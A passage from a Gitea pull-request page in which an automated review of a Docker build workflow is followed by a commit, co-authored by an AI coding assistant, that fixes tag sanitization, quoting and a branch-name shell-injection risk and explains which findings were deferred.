long, cryptic error rather than stopping at login. **Fix:** Add `set -euo pipefail` at the top of the run block, or explicitly check `docker login` exit code. - **`.gitea/workflows/build-image.yml:50-52`** — Branch-name sanitization can produce an **empty string** for inputs like `---` or `/` (all characters stripped by the first `sed`, then the second `sed` doesn't help because the string is already empty). When `PRIMARY` is empty, `TAGS` becomes `,:sha-<short>`, which splits into an empty tag and a sha tag. The empty tag causes `docker buildx build --tag ` (trailing nothing) which is invalid syntax and fails the build. **Fix:** Add a fallback after sanitization: ```bash PRIMARY=${PRIMARY:-latest} ``` (or `unknown-branch`, etc.). - **`.gitea/workflows/build-image.yml:59-63`** — `TAG_FLAGS` is built by string concatenation without quotes and later expanded unquoted in the `docker buildx build` command. If `PRIMARY` somehow contains a space (e.g., if the sanitization regex is ever relaxed), `TAG_FLAGS` will inject extra arguments into the docker command, potentially causing mis-tagging or option injection. **Fix:** Build tags into a bash array and expand it safely: ```bash TAG_FLAGS=() IFS=',' read -ra TAG_ARRAY <<< "${{ steps.meta.outputs.tags }}" for tag in "${TAG_ARRAY[@]}"; do TAG_FLAGS+=(--tag "$tag") done docker buildx build \ --push \ --platform linux/amd64 \ "${TAG_FLAGS[@]}" \ ... ``` - **`Dockerfile:57-58`** — `HEALTHCHECK` relies on `wget`. Alpine's base `busybox` *usually* provides `wget`, but it is not guaranteed (it can be compiled out or replaced). If `wget` is missing, the container will be marked unhealthy with a cryptic `wget: not found` error, and orchestrators like Komodo may restart or kill it. **Fix:** Explicitly install `wget` alongside `ca-certificates` and `tzdata`, or switch to `busybox wget` if available. --- </details> </details> </details> <sub>Automated adversarial review by Gadfly — consensus across the model swarm. Advisory only — does not block merge.</sub>
steve added 1 commit 2026-07-18 19:53:13 +00:00
Address Gadfly review findings on build-image CI
Build image / build-and-push (push) Successful in 1m3s
c59688c2a3
Workflow:
- Pass untrusted github.ref_name/repository/sha/token via env instead of
  inline ${{ }} in run: blocks, closing a branch-name shell-injection vector.
- Check out the exact triggering commit (fetch by SHA, branch fallback) so
  the sha-<short> tag matches what was built.
- Guard the tag scheme: a non-main branch named/sanitized to "latest" can't
  clobber :latest, and an empty sanitized name falls back to branch-<sha>.
- Build --tag flags as a bash array (no word-splitting), drop the
  comma-string round-trip, and check-then-create the buildx builder so a
  real failure isn't swallowed.

Dockerfile:
- GOWORK=off in the build stage (matches the Makefile convention).
- npm ci uses a BuildKit cache mount.
- Drop the stale issue-number reference in a comment.

.dockerignore:
- Add .env/.env.*, go.work/go.work.sum, web/.vite; drop nonexistent .github.

Graded all findings in the gadfly store. Deferred/keep-as-is: token-in-clone-URL
(Gitea masks the secret in logs), sanitization collisions across branch names
(the sha-<short> tag is the collision-proof identifier), and registry build
cache (current builds are fast). False positives: alpine ships wget (busybox);
docker login is its own step.

Co-Authored-By: Claude Opus 4.8 (1M context) <[email protected]>
Claude-Session: https://claude.ai/code/session_01JdQpdYYsTgtkJBxbcpAszi
steve merged commit 8305acf4b2 into main 2026-07-18 19:56:06 +00:00
steve deleted branch ci-build-image 2026-07-18 19:56:06 +00:00
Sign in to join this conversation.